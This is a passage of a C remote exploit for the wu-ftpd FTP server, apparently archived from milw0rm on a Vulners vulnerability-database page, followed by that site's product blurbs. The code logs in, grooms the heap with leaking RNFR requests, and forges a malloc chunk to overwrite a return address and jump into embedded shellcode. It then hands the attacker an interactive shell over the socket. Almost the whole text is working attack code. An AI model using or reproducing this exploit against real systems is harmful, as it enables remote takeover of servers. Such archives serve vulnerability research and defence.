        memset (tmpbuf, &#39;\0&#39;, sizeof (tmpbuf));
        for (cw = 0 ; cw &#60; (csize - 0x08 - 0x04) ; ++cw)
                tmpbuf[cw] = leet[cw % 4];

        if (debugmode)
                printf (&#34;| CWD %s\n&#34;, tmpbuf);

        net_write (fd, &#34;CWD %s%c\n&#34;, tmpbuf, this_size_ls);
        ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), &#34;550 &#34;);

        /* send a minimum-sized malloc request that will allocate a chunk
         * with &#39;csize&#39; overall bytes
         */
        xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize));


        return;
}


/* xp_gapfill
 *
 * fill all small memory gaps in wuftpd malloc space. do this by sending
 * rnfr requests which cause a memleak in wuftpd.
 *
 * return in any case
 */

void
xp_gapfill (int fd, int rnfr_num, int rnfr_size)
{
        int             n;
        unsigned char * rb;             /* rnfr buffer */
        unsigned char * rbw;            /* rnfr buffer walker */
        unsigned char   rcv_buf[512];   /* temporary receive buffer */

        if (debugmode)
                printf (&#34;RNFR: %d x 0x%08x (%d)\n&#34;,
                        rnfr_num, rnfr_size, rnfr_size);

        rbw = rb = calloc (1, rnfr_size + 6);
        strcpy (rbw, &#34;RNFR &#34;);
        rbw += strlen (rbw);

        /* append a string of &#34;././././&#34;. since wuftpd only checks whether
         * the pathname is lstat&#39;able, it will go through without any problems
         */
        for (n = 0 ; n &#60; rnfr_size ; ++n)
                strcat (rbw, ((n % 2) == 0) ? &#34;.&#34; : &#34;/&#34;);
        strcat (rbw, &#34;\n&#34;);

        for (n = 0 ; n &#60; rnfr_num; ++n) {
                net_write (fd, &#34;%s&#34;, rb);
                ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), &#34;350 &#34;);
        }
        free (rb);

        return;
}


#define ADDR_STORE(ptr,addr){\
        ((unsigned char *) (ptr))[0] = (addr) & 0xff;\
        ((unsigned char *) (ptr))[1] = ((addr) &#62;&#62; 8) & 0xff;\
        ((unsigned char *) (ptr))[2] = ((addr) &#62;&#62; 16) & 0xff;\
        ((unsigned char *) (ptr))[3] = ((addr) &#62;&#62; 24) & 0xff;\
}


int
xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)
{
        unsigned char * wl;


        memset (buf, &#39;\0&#39;, buf_len);

        memset (buf, &#39;0&#39;, CHUNK_POS);
        xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1);

        for (wl = buf + strlen (buf) ; wl &#60; &buf[buf_len - 1] ; wl += 2) {
                wl[0] = &#39;\xeb&#39;;
                wl[1] = &#39;\x0c&#39;;
        }

        memcpy (&buf[buf_len - 1] - shellcode_len, shellcode,
                shellcode_len);


        return (strlen (buf));
}


/* xp_buildchunk
 *
 * build the fake malloc chunk that will overwrite retloc with retaddr
 */

void
xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen)
{
        unsigned long int       retaddr_eff;    /* effective */


        if (user_retaddr)
                retaddr_eff = user_retaddr;
        else
                retaddr_eff = tgt-&#62;cbuf + 512 - shellcode_len - 16;

        fprintf (stderr, &#34;\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n&#34;,
                tgt-&#62;retloc, retaddr_eff, clen);

        /* easy, straight forward technique
         */
        ADDR_STORE (&cspace[0], 0xfffffff0);            /* prev_size */
        ADDR_STORE (&cspace[4], 0xfffffffc);            /* this_size */
        ADDR_STORE (&cspace[8], tgt-&#62;retloc - 12);      /* fd */
        ADDR_STORE (&cspace[12], retaddr_eff);          /* bk */

        return;
}



void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l &#60;= 0) {
                                perror (&#34;read user&#34;);
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf (&#34;connection closed by foreign host.\n&#34;);
                                exit (EXIT_FAILURE);
                        } else if (l &#60; 0) {
                                perror (&#34;read remote&#34;);
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


/*** FTP functions
 */

/* FTP is TELNET is SHIT.
 */

void
ftp_escape (unsigned char *buf, unsigned long int buflen)
{
        unsigned char * obuf = buf;


        for ( ; *buf != &#39;\0&#39; ; ++buf) {
                if (*buf == 0xff &&
                        (((buf - obuf) + strlen (buf) + 1) &#60; buflen))
                {
                        memmove (buf + 1, buf, strlen (buf) + 1);
                        buf += 1;
                }
        }
}


void
ftp_recv_until (int sock, char *buff, int len, char *begin)
{
        char    dbuff[2048];


        if (buff == NULL) {
                buff = dbuff;
                len = sizeof (dbuff);
        }

        do {
                memset (buff, &#39;\x00&#39;, len);
                if (net_rlinet (sock, buff, len - 1, 20) &#60;= 0)
                        return;
        } while (memcmp (buff, begin, strlen (begin)) != 0);

        return;
}


int
ftp_login (char *host, char *user, char *pass)
{
        int     ftpsock;
        char    resp[512];


        ftpsock = net_connect (NULL, host, 21, 30);
        if (ftpsock &#60;= 0)
                return (0);

        memset (resp, &#39;\x00&#39;, sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) &#60;= 0)
                goto flerr;

        /* handle multiline pre-login stuff (rfc violation !)
         */
        if (memcmp (resp, &#34;220-&#34;, 4) == 0)
                ftp_recv_until (ftpsock, resp, sizeof (resp), &#34;220 &#34;);

        if (memcmp (resp, &#34;220 &#34;, 4) != 0) {
                if (verbose)
                        printf (&#34;\n%s\n&#34;, resp);
                goto flerr;
        }
        ftp_banner = strdup (resp);

        net_write (ftpsock, &#34;USER %s\n&#34;, user);
        memset (resp, &#39;\x00&#39;, sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) &#60;= 0)
                goto flerr;

        if (memcmp (resp, &#34;331 &#34;, 4) != 0) {
                if (verbose)
                        printf (&#34;\n%s\n&#34;, resp);
                goto flerr;
        }

        net_write (ftpsock, &#34;PASS %s\n&#34;, pass);
        memset (resp, &#39;\x00&#39;, sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) &#60;= 0)
                goto flerr;


        /* handle multiline responses from ftp servers
         */
        if (memcmp (resp, &#34;230-&#34;, 4) == 0)
                ftp_recv_until (ftpsock, resp, sizeof (resp), &#34;230 &#34;);

        if (memcmp (resp, &#34;230 &#34;, 4) != 0) {
                if (verbose)
                        printf (&#34;\n%s\n&#34;, resp);
                goto flerr;
        }

        return (ftpsock);

flerr:
        if (ftpsock &#62; 0)
                close (ftpsock);

        return (0);
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                &#34;................................ !\&#34;#$%&&#39;()*+,-./0123456789&#34;
                &#34;:;&#60;=&#62;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm&#34;
                &#34;nopqrstuvwxyz{|}~....................................&#34;
                &#34;.....................................................&#34;
                &#34;........................................&#34;;


        printf (&#34;/* %s, %u bytes */\n&#34;, desc, amount);

        for (dp = 1; dp &#60;= amount; dp++) {
                fprintf (stderr, &#34;%02x &#34;, data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, &#34; &#34;);
                if ((dp % 16) == 0) {
                        fprintf (stderr, &#34;| &#34;);
                        p = dp;
                        for (dp -= 16; dp &#60; p; dp++)
                                fprintf (stderr, &#34;%c&#34;, trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, &#34;\n&#34;);
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp &#62; 0; dp--) {
                        fprintf (stderr, &#34;   &#34;);
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, &#34; &#34;);
                        fflush (stderr);
                }
                fprintf (stderr, &#34; | &#34;);
                for (dp = (amount - (16 - p)); dp &#60; amount; dp++)
                        fprintf (stderr, &#34;%c&#34;, trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, &#34;\n&#34;);

        return;
}



unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) {
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he-&#62;h_addr);
                }
        }
        return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec)
{
        int                     n,
                                len,
                                error,
                                flags;
        int                     fd;
        struct timeval          tv;
        fd_set                  rset, wset;
        struct sockaddr_in      csa;

        if (cs == NULL)
                cs = &csa;

        /* first allocate a socket */
        cs-&#62;sin_family = AF_INET;
        cs-&#62;sin_port = htons (port);
        fd = socket (cs-&#62;sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);

        if (!(cs-&#62;sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;

        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n &#60; 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }
        }
        if (n == 0)
                goto done;

        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);

        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) &#60; 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);

done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}


void
net_write (int fd, const char *str, ...)
{
        char    tmp[1025];
        va_list vl;
        int     i;

        va_start(vl, str);
        memset(tmp, 0, sizeof(tmp));
        i = vsnprintf(tmp, sizeof(tmp), str, vl);
        va_end(vl);

#ifdef DEBUG
        printf (&#34;[snd] %s%s&#34;, tmp, (tmp[strlen (tmp) - 1] == &#39;\n&#39;) ? &#34;&#34; : &#34;\n&#34;);
#endif

        send(fd, tmp, i, 0);
        return;
}


int
net_rlinet (int fd, char *buf, int bufsize, int sec)
{
        int                     n;
        unsigned long int       rb = 0;
        struct timeval          tv_start, tv_cur;

        memset(buf, &#39;\0&#39;, bufsize);
        (void) gettimeofday(&tv_start, NULL);

        do {
                (void) gettimeofday(&tv_cur, NULL);
                if (sec &#62; 0) {
                        if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
                                ((tv_start.tv_sec * 1000000) +
                                (tv_start.tv_usec))) &#62; (sec * 1000000))
                        {
                                return (-1);
                        }
                }
                n = net_rtimeout(fd, NET_READTIMEOUT);
                if (n &#60;= 0) {
                        return (-1);
                }
                n = read(fd, buf, 1);
                if (n &#60;= 0) {
                        return (n);
                }
                rb++;
                if (*buf == &#39;\n&#39;)
                        return (rb);
                buf++;
                if (rb &#62;= bufsize)
                        return (-2);    /* buffer full */
        } while (1);
}


int
net_rtimeout (int fd, int sec)
{
        fd_set          rset;
        struct timeval  tv;
        int             n, error, flags;


        error = 0;
        flags = fcntl(fd, F_GETFL, 0);
        n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1)
                return (-1);

        FD_ZERO(&rset);
        FD_SET(fd, &rset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        /* now we wait until more data is received then the tcp low level
         * watermark, which should be setted to 1 in this case (1 is default)
         */
        n = select(fd + 1, &rset, NULL, NULL, &tv);
        if (n == 0) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1) {
                return (-1);
        }
        /* socket readable ? */
        if (FD_ISSET(fd, &rset)) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                return (1);
        } else {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
}


static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
        unsigned char *shellcode, char **argv)
{
        int     i;
        size_t  tl_orig = target_len;


        if (strlen (shellcode) &#62;= (target_len - 1))
                return (-1);

        memcpy (target, shellcode, strlen (shellcode));
        target += strlen (shellcode);
        target_len -= strlen (shellcode);

        for (i = 0 ; argv[i] != NULL ; ++i)
                ;

        /* set argument count
         */
        target[0] = (unsigned char) i;
        target++;
        target_len--;

        for ( ; i &#62; 0 ; ) {
                i -= 1;

                if (strlen (argv[i]) &#62;= target_len)
                        return (-1);

                printf (&#34;[%3d/%3d] adding (%2d): %s\n&#34;,
                        (tl_orig - target_len), tl_orig,
                        strlen (argv[i]), argv[i]);

                memcpy (target, argv[i], strlen (argv[i]));
                target += strlen (argv[i]);
                target_len -= strlen (argv[i]);

                target[0] = (unsigned char) (i + 1);
                target++;
                target_len -= 1;
        }

        return (tl_orig - target_len);
}

// milw0rm.com [2002-05-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation